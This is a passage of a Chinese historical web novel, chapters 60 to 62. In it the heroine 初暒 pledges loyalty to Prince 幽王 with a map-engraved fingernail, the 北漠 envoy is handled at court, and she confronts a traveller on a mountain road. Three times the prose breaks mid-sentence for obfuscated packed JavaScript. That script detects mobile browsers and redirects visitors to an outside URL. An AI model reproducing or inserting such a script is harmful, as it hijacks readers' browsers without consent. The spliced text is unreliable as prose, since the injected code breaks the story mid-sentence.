幽王仍然面对着于先生坟冢。 在离他一丈远处,初暒低头拱手,道,“见过,幽王殿下。” 还是不肯跪下,远远望着那丫头的无恩恨不能过去给她膝窝来上一脚。 手下忿忿不平,可薛霁闻声后,只平静问,“何人?见过本王。” 初暒紧抿着唇,不答。 她不言语,薛霁也不在意,又问,“你可知这是谁的坟冢?” “知道。” “‘鬼宅’中的疏阵,本王也曾破过。” 初暒抬头看他,诧异过后才像是想通了什么,苦笑道,“往日种种,原来……是他选中了我。” “怨他?” “不,是我首先推开了‘鬼宅’的大门。” “恨本王?” 恨什么? 恨安南书院受困、于先生深陷火场时,你在外盯守的眼线见死不救?还是恨入学前故意放出虔来山土匪的消息引她入局? “有些事注定发生,不过早晚而已。” “本王一直派人盯着你在安南书院的一举一动,可这期间书院学子落在山匪手中、你去营救时被歹人推入悬崖、安南书院被土匪围困、于先生身覆火海,这桩桩件件本王皆袖手旁观,可你这话倒像是在安慰本王。” “我只盼自己不曾辜负王爷的‘袖手旁观’。” 薛霁终于转过身来,他看着这个一身狼藉,却不卑不亢的小丫头。 “虽不知晓内情,但那日,我猜出于先生是怀着护佑书院众弟子的必死之志引歹人入险境的,他做的是自己的选择,旁人救与不救都改变不了什么。”初暒看着他,目光毫不闪躲,“而我,既然敢独自涉险救人、领诸多学生合力抗敌,便是清楚自己有把握带着他们全身而退,我晓得在安南书院这些日子里,身后一直有双眼睛,但我庆幸从未生出过依靠那双眼睛的念头,不然,我也没法在此处见着您。” 她心平气和的说出这些十分狂妄的话语,倒显得万分真挚,薛霁的目光对上她的视线,眼神中有漫不经心地探问,却仍旧没有出声。 初暒上前两步从怀中摸出一小片透白状物,低头双手捧上,道,“塔鲁阿茶女扮男装潜入中北,期间被潜伏在虔来山的南夷土匪杀害,并抛其尸于山谷之中,这是我从塔鲁阿茶手指拔下的甲片,上面刻着完整的虔来山矿脉地形图。” 完整的? 薛霁闪过一丝讶异,她怎知这是完整的。 像是猜出幽王心中所想,初暒停顿一瞬,继续说,“从邱夫子书房斗柜中搜寻到的地形图是我在柳大人身上得来后交给他的,图上画的并不完整,虽说是机密文书但那滴墨覆在关键之处,也实在泄露不出什么机密。” “原来是你。”薛霁了然,问,“想用这东西托本王解救你的邱夫子?” “于先生在外为邱夫子奔波时已经找过您了,可这么些时日了仍旧不见军狱院有什么动静,想来他被捕也不全是因为地形图,王爷权势滔天都应不了于先生的嘱托,我又何德何能再以此为难您。”初暒捧着手中甲片,将自己的脑袋垂得更低,“只是两份不同来源的虔来山矿脉地形图流出,皆预示山中或许存有矿产,我偶然获得此物,愿将其双手呈送王爷,以此物作自己的…投名状。” 初暒原先不解,一位皇天贵胄为何要威胁她这么个有些许小聪明的农户女娃,今日果真在此处见到他,才总算证实了自己的心中猜想。 前世在军营摸爬滚打数年,就算她暴躁野蛮但该懂的朝廷局势也多少还是跟着慕峰青学过一些,在军中,她曾听同袍们闲聊说幽王是命定的储君,可或许是这些传言让先皇忌惮,他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888109|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 权势早年就被借口养病陆续卸了个干净,先皇驾崩前,更是只留下一道传位薛渊的口谕,这位如今幼帝羽翼未满,在城中遍布眼线的幽王殿下或许在盘算着更大的权势。 自他将初眠眠这三个字补在出入城名册上起,初暒就明白行事诡谲的自己已经摆脱不了这位深不可测王爷的监视了,与其挣扎着遮掩,不如将野心全然暴露,借着他的权势来获取自己难以探听的朝中消息。 手中的‘投名状’,便是她决计为此付出的代价。 在两人长久的沉默里,初暒忽然开始不确定自己与这个家世年纪的姑娘不相符的举止言行是否能真正引起他的好奇心,她悄悄抬头后瞥向看着自己手心微蹙着好看眉头的亲王,听他低低呼唤了一声,“无恩。” 无恩应声后飞快近身,他顺着主子的目光看去,而后熟练地从怀中掏出帕子,将甲片捏住捧起。 皎洁月光下,那甲片上纵横交错的针刻纹路清晰可见,薛霁隔着帕子打量这片从死人手中拔下的指甲,玩味说,“矿产挖掘耗时耗力,我中北又鲜少此类人才,倘若两处来源的地形图均是旁人捏造,本王手握此图岂不成了笑话。” 初暒拱手,回,“我愿深入虔来山探听此图虚实。” 得到满意的回复,薛霁将手帕递给无恩,“要做‘军令状’,此物似乎不够分量。” “甲片主人,也就是北漠和亲公主塔鲁阿茶的尸首就在我坠入两次的悬崖下西北方向一处洞穴之中,那里低温干燥,便于尸体储存。”初暒有些犹豫,“发现她时,双足无鞋、足衣干净,后背右下方还有一片狼首刺青。” 话音才落,周围的温度果如初暒预料的那般骤降,不消去看,她也能感觉到后脊忽然涌现的杀气。 颔首的小姑娘微微打了个寒颤,薛霁眼底闪过的锋利才终于隐了下去。 足衣干净、双足无鞋,是提醒他塔鲁阿茶被杀时可能是凶手将鞋子脱下带走,这在南夷民间非正常死亡的尸体上常见,而身上的狼首刺青,则是向他说明有资格纹刻此图饰的只有北漠贵族。 一个最远只到过虔来山的农户之女如何知晓用狼图腾辨别北漠一族?又如何懂得用南夷民俗判断前往中北和亲的塔鲁阿茶是被潜伏在虔来山的南夷土匪杀害? 她身上这许多谜团无一不向他昭示着:此人来路蹊跷,不宜久留,可她就只是那么一刹那的轻轻地颤抖,让他把所有的怀疑与提防都化作了好奇和探究。 刀光剑影般沉默地推测与决断后,薛霁平静地看了无恩一眼。 收到主子‘按她说的去找’的目光,无恩抱拳答是,转身快速离去。 田边只剩下他们二人,薛霁将初暒悬在额前的手臂缓缓按下,问,“你想在本王这儿得到什么?” 幽王的语气虽听不出喜怒,可这一句让初暒明白,他并不打算对自己刨根问底,心中悄悄松了口气,她开始抬眼暗自打量眼前这位人人为之退避不及的病弱王爷。 今夜的月色清澈明亮,好似一盘能映出世间所有柔软与无奈的明镜,皎白月光毫不吝啬的倾洒在他一袭银白束腰丝绣衣袍边沿,从她这里看去像是月亮独独为他晕了一环朦胧光圈,他的腰间缠绕着的白玉带玲珑剔透,就只是这么背手站着,却让人如逢流落凡间的天上仙君。 初暒在那环朦胧光圈外跪地俯首,道,“我愿对王爷惟命是从,成为您的马前卒与手中刃,只求您……护住柏桥村初家人与安南书院众师生。” 匍匐在地的女子小小一团,让人一瞧便觉心生怜悯,然,薛霁双眸中并无半分软意,只是居高临下冷眼看她,“本王总得清楚,自己是为何人护住他们罢。” 跪在薛霁脚下,初暒浑身的血与污泥无不显示着自己的狼狈与卑微,可她闻此言后利落的直起自己的身子,昂首坚定道—— “安南书院初眠眠已坠入悬崖生死不明,虔来山土匪头儿初暒见过幽王殿下。” 61. 时机 丢了公主唯唯诺诺被中北冷落了数月之久的北漠使臣一行人终于在一个平平无奇的早晨被召进了金銮大殿。 宝颜巴特酝酿许久的碰瓷话术还在腹中,自己倒先被抬进殿内的盖着白布的担架吸引了视线。 不好的预感浮上心头,他正预备开腔嚎啕,刑部尚书王启抢先一步,说,这便是女扮男装逃婚后不慎跌落虔来山悬崖的北漠公主塔鲁阿茶。 什么一锤定音、先入为主的中北话在宝颜巴特脑中循环闪动,他掀开白布后不服问,我们公主自小喜爱中北怎会逃婚,再说此人容貌丑陋怎会是我北漠公主!我要写信呈报狼主! 王启皱眉上前揭去尸体脸上的人皮面具,露出一张被侵蚀的看不出原状的半尸半骨,反驳,你家公主喜爱中北为何不乖乖随你们一起进都完婚,她要是不想逃婚又费劲贴人皮面具作甚? 宝颜巴特吼叫,这玩意儿腐烂的脸都没有了,你们竟敢随便找具尸体冒充我北漠公主!我要写信呈报狼主! 王启淡定又问他,你们北漠贵族酷爱在身上纹刻狼首刺青,那东西印在皮上难褪的很,这具尸体后腰右下方便有一块,用不用我将其翻开与你再仔细辨认辨认? 话说到这个份上,宝颜巴特也没法再无理取闹了,纵使不想承认,他也不能让这具尸体的身子袒露在这大庭广众之下。 塔鲁阿茶死了,宝颜巴特还想以此讹中北一批钱粮,可王启将‘逃婚’这个词架在北漠头顶,不问罪已是他们大度。 他带着一个活得小公主过来,本想换一车队好东西回去献给狼主,以示才能,可如今却只能拉着一具死尸回去,等着他的还不知会是什么噩梦。 思及至此,宝颜巴特心中的惊惧与惶恐溢于言表,竟当众大哭起来,王启见自己的艰巨任务已经光荣完成,他感激地向坐在队列前头优雅喝药的幽王殿下偷偷抱了抱拳后,身轻如燕的退回自己的位置。 宝颜巴特人高马大、声如洪钟,是典型的北漠汉子,殿上众人都被他的哭声吵得脑袋都大了,可仍是没一个人敢站出来制止他。 借着蹲地抱着尸体哭喊的功夫,宝颜巴特趁机将手塞进白布,目标准确的向塔鲁阿茶右手指尖摸去,却意料之外的什么也没有找到。 东西呢? 失神的刹那,嗓子里的哭声也顿了一瞬。 就在这个瞬间,他听到大殿前头有上等杯盏轻扣在紫檀嵌乌木茶桌上发出‘砰’的一声。 这声音有些许厚重,但更多是清脆。 清脆的让宝颜巴特止声后只听得到它。 哭声已停,再开始嚎啕着实不太礼貌,宝颜巴特假意用衣袖抹了一把没有眼泪的面颊,起身朝那声音望去。 薛霁放下药碗,接过内侍捧来的帕子净手后,扶着紫檀席面嵌黄杨太师椅缓缓站起。 待他走近了,宝颜巴特瞧见那张器宇轩昂、一见难忘的相貌时忽的记起,这不是先前在驿馆门口遇见过的男子么,他方才竟是坐在大殿里的。 这殿内,除了少年天子,还有谁敢坐着上朝? 不是听说梁相这几日沾风寒告假了么,诶不对,这男子年岁瞧着也不大啊…… 宝颜巴特还在猜测来人是谁,可越来越近的药草香气与那浑身不凡的气度终于提醒他,这位便是中北尊贵至极,但是也只有至极尊贵的幽王殿下了。 “啊呀北漠使臣宝颜巴特见过幽王殿下,幽王安好。” 宝颜巴特将右手贴在左胸前颔首行礼,薛霁抬手虚挑一下,道,“使臣不必多礼。” 北漠人向来心直口快,既然这位幽王说不必多礼,那宝颜巴特也没有客气,他知晓中北朝廷原就是派他来跟北漠使臣安抚交涉,可这人却生生将他们晾了好几个月,新仇旧恨聚到一块,于是他把握住机会,张口就来:我们北漠千里迢迢将公主送来成亲,可还未进都就没了性命,这事儿你们中北须得给个交代。 薛霁还未开口,王启眼睛先一瞪,好么,方才一番话全对牛弹了,他探头出来叫嚷:怎么听不明白话呢!都说了是你们公主自己逃婚失足而亡了,你们不诚心过来请罪竟还要我们中北给交代,真是岂有此理! 宝颜巴特也豁出去了,挥拳说,人都没了,你怎知她是因为逃婚才失足的!谁不知那虔来山就是你们中北的土匪窝,我看定是那山上天杀的土匪求财不成便将人丢下去的!你们不去出兵为我们的小公主讨回公道,竟还要将脏水泼在她身上,这些就是泱泱大兴王朝能做出来的事吗! 自古就有人死为大的说法,故而这北漠使臣满嘴跋扈之言频发,朝中也没有官员多说什么,毕竟人死都死了,人家家属发泄发泄情绪也都是可以理解的,但……一提到出兵虔来山这事,王启还是心虚的住嘴,重新将脑袋缩回队列之中了。 在人家的地盘上太过嚣张,总归是不踏实的,宝颜巴特心虚地扫了一眼大殿里将手抱在腹前的诸位大臣,默默吞了吞口水,也闭上了嘴。 两人终于噤声,一旁观战的薛霁这时轻声问,使臣言毕否? 宝颜巴特小鸡啄米似的点头。 薛霁也微微颔首,说,逃婚这话在你我耳中都不太中听,使臣不满也是人之常情,但这阿茶公主确实是易了容混进我中北国土,她若真有什么其他目的,本王想…使臣一行人也并非一无所知。 既然你们公主不是想逃婚,那以易容之术混进中北究竟有何目的? 虽说公主人已经死了,但是送公主来的使臣们还活着,要是较真起来,想必也是能问出什么的。 听出幽王话里的意思,宝颜巴特后背忽然冒出冷汗来,他下意识想要屈膝认罪,可转念又想起公主已死,死人哪能成为活人的把柄,讪笑许久,他才将右手贴在胸前低头憋出一句,北漠臣服中北之心,日月可鉴! 兵部尚书摸了摸因为同他们打仗而已经见底的钱兜子,看向殿外晨幕暗自道,今日果真是个阴天。 和王启一样不将宝颜巴特的话放在心上的薛霁,又说,公主年幼,初次离开故土自然玩心大起,她敢避开诸位易容独自出去闯荡也算是胆大心细,不愧是生养在大漠的姑娘,只是人有祸兮旦福,任谁都不想将一桩红事办成白事。 宝颜巴特晓得他这话是在递台阶,因而赶忙踩着下来,附和说,是是是,您说的是。 不过……薛霁话头一转,虽然公主身亡实属意外,但不论如何辩驳,人都是在中北遇难,该担的责中北还是会担。 这话听得宝颜巴特双眸一亮,他期颐的看着幽王,中北愿赠予北漠五百石粮食以告慰北漠丧主、塔鲁阿卓丧女之痛,不知使臣意下如何? 宝颜巴特得寸进尺,伸出三根手指头试探问,再加三百石成不成? 薛霁点头,宝颜巴特心中的大喜还未送到眼中就又听他说,使臣是嫌太多,回乡途中唯恐运输不畅?既如此,那便如使臣所愿只带走三百石罢。 见宝颜巴特的嘴角开始抽搐,薛霁贴心又问,还是太多么? 不多不多……啊…不是不是……说多错多,宝颜巴特心有不甘可也只能行礼道谢。 为彰显大国风范,晁都城原本预备向送公主和亲的北漠使臣送出一千石粮食,但经过王启与薛霁这么一唱一和,即解决了塔鲁阿茶死在中北境内的麻烦,又以安抚告慰之名顺利将粮食损失降到了三百石。 除了北漠,所有人都很满意。 临行前,宝颜巴特在大殿中扫视一圈,既希冀又尊崇的小声问了句,慕将军可在此处?却只听人说,慕将军身有要事,离都办差去了。 宝颜巴特失落的低头哦了一声,没有瞧见那位编瞎话的官员心虚地嘴脸。 在目送北漠使臣一行人离开后,有官员看主事的梁相不在场,想趁热打铁向小皇帝求一波赏赐,大家这才想起来,安抚周旋北漠人这件他们当初奉为黑锅的差事如今被人不费吹灰之力的办成了,要说不后悔、不嫉妒是假的,但事已至此,能跟着吃肉的喝口汤也是好的,众人在堂皇的金銮大殿交头接耳中得出,那时似乎是柳思无柳大人一语惊人推举幽王担此重任的,他们相视一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888110|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼,而后将目光齐刷刷投到文臣队列中,一位自上朝后就垂头抱手、一言不发的消瘦男子身上。 数日之前,柳思无获取来路不明的虔来山矿物地形图不仅不上报反而将其丢失,军狱院以泄露朝廷机要文书之罪将其逮捕,数日之后,上头又忽然下旨说他泄露的那份地形图经查证后所绘不实,柳思无被审讯官规规矩矩的请出来后重见天日、官复原职。 据军狱院审讯官交代,柳大人入狱期间,大小官吏皆对其尊敬有加,什么刑讯逼供之类全是浑说,可大家瞧柳思无这副人不人鬼不鬼的模样,对那阴森之地与阴森之地里的人更是深恶痛绝。 办完差,薛霁便向小皇帝告假退下,有功之人都不求赏,留在殿内的众人也不好再张口,内侍接了小皇帝的眼色,尖声高喊‘退朝’后,齐声震天的‘恭送陛下’之语悠悠飘扬在晦暗不明的皇城之上,众官员三三两两结伴自金銮大殿鱼贯而出。 柳思无头重脚轻的飘出宫门,穿过往来奔忙的百姓,在转过一处无人的街角时,险些撞上站在一顶奢华车架旁的无恩。 “柳大人,当心。” 幸得无恩虚扶一把,柳思无才不至于在平地摔倒。 “多谢。”看清面前这人是谁,柳思无连忙拱手行礼,“柳思无见过幽王殿下。” 没有寒暄,隔着车架帷幔,柳思无听到里面那位说,“本王已将邱阳接回,他如今正被安置在一处稳妥宅院中悉心照料,柳大人不必挂心。” 无恩本以为主子这话能让双目失神的柳大人重新焕发出生机,可他像是脑袋生锈卡住似的,好一会儿才道,“多谢殿下。” “权当报答柳大人朝中抬举。” 薛霁话音落下,坐在前面的无恩便扬起马车缰绳开始缓慢前行。 柳思无像是挣扎许久,挥手小跑追上马车,问,“王爷,安南书院被歹人围困、于先生身殒火场之事,您可知晓什么内情?” 马儿在缰绳的束缚中稳稳停住,矫健四蹄斯文优美的在原地轻缓踱步,薛霁反问,“你希望本王知晓什么内情?” “这些是否与虔来山土匪有关?” “是。” 果然。 柳思无蹙眉深思,那时自安南书院出来在回都途中遭遇劫匪后就觉蹊跷,近几月虔来山至安南山土匪抄掠案件剧增,再加上这段时间那张诡异的虔来山矿产地形图,他觉得虔来山似乎并不想旁人靠近,可偏偏就是有人故意将所有人的目光往虔来山吸引,他与邱阳只不过是其中两枚棋子而已,或许……邱阳作为棋子的份量比自己还要重一些。 可是,他们为何要选中安南书院呢? 下意识摸了摸自己的官服袖袋,柳思无想起自己在苏醒之前隐约看到的灰色身影以及莫名出现在邱阳书房的地形图书卷。 那道利落身影是安南书院的学生。 这便是邱阳在狱中受尽苦楚却从始至终不愿开口的原因。 “矿产地形图由工部绘制,这是说朝廷已经盯上了虔来山?”柳思无在询问,可是语气里并无丝毫怀疑,薛霁没有回答只继续听他说,“安南书院遭此横祸不正是给了朝廷出兵的理由,可朝中为何至今无一人上奏呈报?” 薛霁:“此事牵连甚广,想是…还缺一个时机。” 利用自己将虔来山矿产消息流出并使邱阳入狱,想必幕后那人已经知晓他的身世,可是虔来山危机重重,如若不出兵清扫镇压,邱阳未来还不知会遇上多少想要他命的人。 柳思无失神的双目终于在此刻涌入光彩,他对从未被撩起的马车帷幔,颔首轻语,“多谢幽王指点,下官明白了。” 恭送幽王离去,柳思无将头顶官帽摘下抱在左肋,而后转身大步流星的往梁府走去。 天边霞光已显,如血残阳在苟延残喘中目视着圆月初升,一位身着紫袍官服的周正男子在夕阳与月亮相互辉映的光芒中昂首阔步,没有人在那双如炬眼眸中看出他此时抑住的狂怒—— 既然时机未到,那我便去做那个时机。 62. 汉子 下过一场大雨,晁都城中散去的暑气好似全部涌进了山里,繁茂的丛林像一张天然的棉被,将这绵延不尽的高山尽覆于身下,压得长途跋涉其中的汉子汗如雨下,闷得有些喘不上气来。 午后,天边有云层飘过,将早就按捺不住的太阳完全显露出来,霎那间,满目苍翠的树林间立刻有数道滚烫光柱从枝叶缝隙中直直斜入进来,钢钉似的杵在还沾着晶莹水汽的山林泥土里。 一个中等身量、后脊背着竹筐的汉子拄着从柏树上折下来的枝干,一步一顿的行走在山间泥泞的小路上,每走过一段就要停下来用柏树枝干将黏在鞋底的厚厚一层污泥刮下来甩开,砸在泥坑里偶尔会发出沉重的‘咚’声。 走了约摸一个时辰,太阳光将沾在花草树木与脚下土地的雨水烘烤蒸发了,天地之间仿佛又恢复成了太上老君的炼丹炉。 下山时,路干了,好走了,可是腹中的‘咚’声又开始此起彼伏的响起来,汉子反手从后腰摸出一个牛皮水囊,拔了塞子仰头张嘴使劲儿颠了好几下,却一滴甘霖也没有滴落下来,他丧气的将水囊丢进背上竹筐,边走边四处探看树上能解渴的果子,没有留意脚下路过的那丛茂密草窝掩盖着篆刻‘虔来’二字的界堠碑。 汉子觉得有些奇怪。 如此壁立千仞、峰峦叠嶂的深山中为何连一棵能解渴的果树都没有? 他又走了许久,久到喉咙好像快被太阳烤出烟来,每一次吞咽都觉得口水如同小刀似的剌着自己的嗓子。 眼看快到山底,汉子警惕已久的精神总算松懈下来,他在一处阴凉地弯腰捂着腹部,以此来慰藉自己饥渴交迫的肠胃,恍惚中,隐隐听见不远处像是有说话的声音。 “我这是疲乏饥渴的都生出癔症了?” 汉子自语一句,强撑起身子往前走去,越走便越觉得那些说话的声音慢慢变得清晰起来,等绕过一棵一人半高的蓬勃松木,视线开阔后,他困顿松散的目光忽的聚起焦来。 前方一条大道旁的林荫下,竟支着一个小茶摊,他方才听见的声音,便是那儿的几位茶客与店家闲谈低语的说话声。 “自年初就听说北漠要送公主来和亲,可这都多久了,一直不见动静,直到前几日我才听人说,原来那位小公主因贪玩独自闯进虔来山不小心失足跌进悬崖,死了。” “该!这帮漠匪在映月关那场仗中惨败,血还没止住呢就想借和亲之名从咱们中北讨些钱粮。” 另一人摆摆手,嘲讽道,“说起这个我都嫌丢人,北漠人还没过来,朝廷那帮酒囊饭袋就将回礼从百姓手里搜刮出来给人家备好了,我就想不明白,映月关那场仗咱们可是打赢了啊,上头为何如此畏畏缩缩!” 店家叹了口气,“唉,客官有所不知啊,我听先前在此处歇脚的巡山衙役们说,映月关那战,中北虽说赢了,可与北漠、南夷纠缠征战的这些年到底还是伤了元气,不然这次向咱们征粮也不会闹得这么难看,上头着急催下面,下面着急便只能逼百姓,这年头,人都不好做。” “哼,他们上下嘴唇一碰,自然有人鞍前马后,有何难做的,我看征粮一事要不就是朝廷借着向北漠回礼以充实国库的,不然为何征了那么多粮食,到最后只给了北漠几百石,要不就是那群贪官想私吞后去填自己挖的窟窿。” “你这话说的有理,我昨儿进都赶集时听城里人都在传,将北漠那群人送走后,有一个刚从牢里放出来的官原地升了一级,也不知为何又赏了那病秧子王爷好多金银珠宝,那位爷手上又没权,到底能干什么功绩受下朝廷这般封赏,还不是趁梁相抱恙、小皇帝不经事,借机大捞一笔么。” 店家:“要说功绩么,我记得…当初就是幽王掏银子说是要买粮,这才让户部干成征粮的差事,还有…就是他将死了公主的北漠使臣顺利送走的。” “奥!就是他出钱给朝廷买了个‘以钱换粮’的好名声?也是他拿着咱们老百姓的心血恭恭敬敬捧给那帮天煞的漠匪的?梁相还健在呢,朝中何时由他一个心怀不轨的奸王当家了,真是岂有此理!” “哎哎,你这大不敬的话若传出去叫那位心狠手辣的罗刹听见,这身骨头渣还不晓得能不能拢到一处……” 店家笑着打趣,茶客瞥了一眼隔壁桌一位瘦的跟鸡仔似的生脸小哥,不以为然说,“这深山老林的,除了鬼还能给谁听见……呀!那边怎的有个人!” 顺着他的目光,店家果真在身后不远处一棵一人半高的蓬勃松木旁见着一个身背竹筐的汉子龇着大牙朝此处小跑而来。 “没想到这密林深山之中竟也有茶摊,店家快与我打些凉茶解解渴罢。” 撑着茶桌的店家见着他这幅打扮先是愣了一下,而后眯起眼睛笑呵呵道,“好嘞,客官您随便坐,这就给您倒茶。” 店家开始忙碌,汉子将肩上的竹筐卸下拎在手上,脑袋左右晃了两个来回才想好坐到哪儿。 这店家让他随便坐,可这不大的茶摊只摆了两张桌子,他瞧方才与店家闲聊的两人搭帮结伙又长得有些生人勿进,于是提着竹筐走向只坐了一个年轻小哥的方桌。 “劳驾,我能否坐到你这里来?” “请。” 身着一身利落灰衣的男子放下手中茶碗,微微颔首请汉子坐下后,才重又捏碗呷茶。 天气炎热,饶是这茶摊躲在阴凉处,可山风带来的滚滚热浪还是烘的人心里躁得慌,汉子一坐下就撩起自己的衣摆擦汗,透明的汗珠黏在深褐色的衣衫上变成一片不规则诸如墨迹的斑点,让本就不体面的外衫显得更加窘迫,他将衣摆向下扯了扯,然后开始若无其事的打量与自己同桌而坐的人。 请他入座的小哥腰身挺拔,要是站起来估摸比自己还高一些,小脸长得白白净净,瞧着岁数也不大,但举止十分悠然稳重,像是个读书人,汉子长这么大连笔都没有抓过几回,心中不由对他多出几分敬重。 这位小哥身上没背多少行李,汉子瞥了一眼他搁在桌角的一个包袱,问,“小兄弟,这山间险峻,你独身行走恐怕也不安全,不知你要往哪个方向去,你我能否一路做个伴儿?” “我要去兴民城。” “客官这是您的凉茶,慢用啊您!” 汉子眼睛一亮,双手捧住店家才搁下的凉茶猛灌了一口后凑过去,“啊呀,我也去兴民城呢!你是回乡还是探亲啊?” 灰衣小哥道,“听说兴民城有个红光寺很是灵验,预备去瞧瞧。” “真是巧了,我家就在那儿不远呢,太好了我这一路担惊受怕的,总算找到个能说话的了。” 那位小哥只是唇角扬了扬,并没有接话,店家笑问,“你家住兴民城,怎的从晁都方向过来?” “我在晁都城里做点小买卖。”汉子见他面善,也不做隐瞒,答,“兴民城今年收成都不好,眼看田地的东西养不活一家老小时,我同村说要想挣钱,须得在虔来山附近找,我心想翻过虔来山不就是晁都城么,天子脚下,自然处处都有能挣着银子的地方,于是我便带着竹编手艺独自进城讨生活了,离家许久,实在惦记的不行,这才趁着家中孩子放旬假回乡看看他们。” 另一桌有位络腮胡扭过身来,打趣他,“都说‘鱼跃龙门乞攀山,翻过虔来变钱仙’,兄弟,离家许久,银钱相必也存了许多吧,如今捧着鼓鼓的荷包回去,家里的媳妇恐怕能将你亲死。” 那汉子被调侃的耳尖红红,不好意思笑笑。 店家:“咱们庄稼人挣点钱不容易,可得看护好喽,你回兴民城走的是这条山路,就更得小心谨慎了。” 汉子说,“我小心着,都是夜里睡草窝窝,白天才赶路呢。” 他这话不知怎的惹得店家连同隔壁桌那两位茶客皆大笑出声,络腮胡旁边那位脸大眼睛也大的大哥哼哧乐道,“虔来山的土匪哪里管什么白天黑夜,哪怕是个没长毛的活物,叫他们见了也得生生留下层皮才能过去呐,你…哈哈哈……趁着天明尽早去走官道罢。” 许是被吓着了,汉子看了灰衣小哥一眼刚想劝他同自己一起走官道,可又想起,“从官道去兴民城须得多绕一两天光景呢,不说别的,就是吃吃喝喝都得额外花不少钱……” 络腮胡起身从怀里费劲摸出一枚铜板扔下,看傻子似的对汉子说,“‘好言难劝该死的鬼’你那点吃喝钱都给土匪就痛快了么……店家,铜钱收好,我们走了……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888111|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 大眼哥也将一枚铜板搁在桌上,随他一起动身。 店家恭敬将两人送走,收完铜钱与茶碗又开始收拾插在地上的茶幌,汉子问,“还早呢,您这就收摊了?” “山里天黑的快,日头一过就瘆得慌,所幸我家就在前面不远,您慢慢喝不妨事的。” 汉子顺着他下巴扬的方向看去,瞧见前头果真用篱笆围着几户人家。 “不耽误您回家,我这就走,趁太阳还没过去,我再赶一段路,店家,劳您将我这只水囊装满。”汉子将凉茶一饮而尽,从竹筐里取出那只牛皮水囊递过去,又在束起来的裤脚里摸出一个小钱袋,从中掏出一枚铜钱放在碗边后问那位寡言小哥,“小兄弟,你想走哪条路?” 小哥:“听你的。” 汉子想了想,说,“还是走山路吧,天一黑咱就停下来,随便猫在深山一处草窝里,任土地老儿都找不见咱们。” “成。” 小哥大概在饮茶前就付过钱了,见他们背着包袱竹筐离去,店家也没有多说什么,仍旧客客气气目送两人走远。 见灰衣小哥不爱说话,那汉子便主动开口问他,“我姓杨,杨柳树的杨,不知小兄弟贵姓?” “免贵姓初,雪霁初晴的初。” “哎呀,这姓氏可不多见。”汉子憨厚一笑,“那我就叫你初兄弟了。” 汉子大概二十五六,个头在成年男子中不算高,许是从幼年至今都没吃过什么好的,整个人看着面黄肌瘦,他瞥眼瞧着比自己高出半个脑袋的初兄弟,暗自感叹,见他第一面阳光刺眼当时只觉这人长得白净,没想到太阳才过去,温和的日光就将他的眉眼整个清晰的描摹出来。 长得真好,得亏是个男子,不然哪还能背着包袱去自己想去的地方,早被媒人披盖头扛着送进轿子里了。 汉子只打量、不说话,四周除了鸟叫就再也没有其他声音了,果真十分瘆得慌。 店家的叮嘱犹在耳边,汉子左右张望完,碰了碰同路人的手臂,没话找话,“天气热,幸好遇着一处不宰客的茶摊,也不晓得这深山要道里的生意好不好做。” 初兄弟接话说,“那店家就住在附近,随便做些什么,赚得的银子都像是捡来的。” “倒也是。”汉子点点头又说,“初兄弟,我看你年纪不大,又身无缚鸡之力,如何敢独自穿越这虔来山呢?” “我又不是豪绅富商,不值当叫那些土匪山贼埋伏吓唬,要是真碰到了掏点买路财意思意思也就过去了,有何不敢。” “你胆子倒是大,不过就算能逃过活人,可万一碰上不要银钱的豺狼虎豹可如何是好,我儿时总听家里大人吓唬,说这山里常有吃人的熊瞎子乱窜。” “杨大哥,不怪别人笑你,你说话当真是有趣的很。” 初姓小哥难得笑着,汉子怔怔看了两眼而后讪笑着摸了摸自己的后脑勺,小声嘀咕,“山里就是有熊瞎子么……” “万一遇上熊瞎子了,就立刻躺下装死罢。” 初兄弟不像是开玩笑,汉子郑重的颔首,以此示意自己记住他的话了。 太阳渐渐隐没在山那头,叽喳的鸟群也不见了踪影,周围骤然安静下来,汉子只想再抓紧赶一段路,没有瞧见身侧的初兄弟不知注意到了什么,脚下的步伐忽的变得缓慢又谨慎起来。 汉子像是忽然想起,说,“方才那茶摊上的两位茶客你还有没有印象?我是第一次遇着他们,可不知为何,与你闲谈这会儿莫名总感觉其中一个像是在什么地方见过似的,真是奇怪。” 这位小哥虽然寡言可要是与他说话,句句也都有回应,可是这会儿……自己说完许久仍不见他出声,一直比初兄弟快走半步的汉子驻足回头,却发现这位小兄弟正低头不知在寻找什么。 “初兄弟?” 初兄弟没有理他,只兀自将一块趁手的石头捡起来握在手中上下抛掷,盯着他一步一步走去。 “初兄弟,你这是作甚…有话…有话好好说……” 汉子一步步后退,他的初兄弟一步步冷眼紧逼—— 